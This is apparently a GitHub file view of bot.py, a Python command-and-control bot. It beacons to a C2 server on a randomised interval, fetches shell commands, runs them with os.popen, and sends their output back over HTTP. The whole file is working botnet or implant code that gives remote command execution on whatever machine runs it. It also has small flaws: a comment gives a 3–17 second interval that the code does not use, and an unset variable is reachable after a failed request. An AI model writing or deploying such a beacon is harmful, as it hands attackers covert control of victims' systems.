-
Notifications
You must be signed in to change notification settings - Fork 1
/
bot.py
executable file
·74 lines (62 loc) · 1.82 KB
/
bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/python3
import os, requests, time, socket, json, random, sys
"""
Function: getIP
Parameters: None
Returns: IP of bot
Description: Uses a socket to determine IP of Bot
"""
def getIP():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# doesn't even have to be reachable
s.connect(("10.255.255.255", 1))
IP = s.getsockname()[0]
except:
IP = "127.0.0.1"
finally:
s.close()
return IP
"""
Function: beacon
Parameters: None
Returns: None
Description: Loops infinately and beacons to c2 server. Recieves commands
and sends back command output
"""
def beacon():
# loop
while True:
cmds = {}
ip = getIP()
# random offset to vary beacon timing
offset = random.randrange(-10, 10)
# commands from server to run
try:
commands = requests.get("http://localhost/beacon?ip={}".format(ip))
except:
pass
# catch error for bot not being in botlist on server
if commands.status_code == 500:
continue
commands = json.loads(str(commands.content, "utf-8"))
# check empty command set
if commands != "[]":
for cmd in commands:
# executes comand
cmds[cmd] = os.popen(cmd).read()
# send confirmation of command being run
try:
requests.get(
"http://localhost/confirm?ip={}&cmd={}&output={}".format(
ip, cmd, cmds[cmd]
)
)
except:
pass
# print commands
# print(cmds)
# TODO send command respone to server
# wait 3 to 17 seconds to callback
time.sleep(60 + offset)
beacon()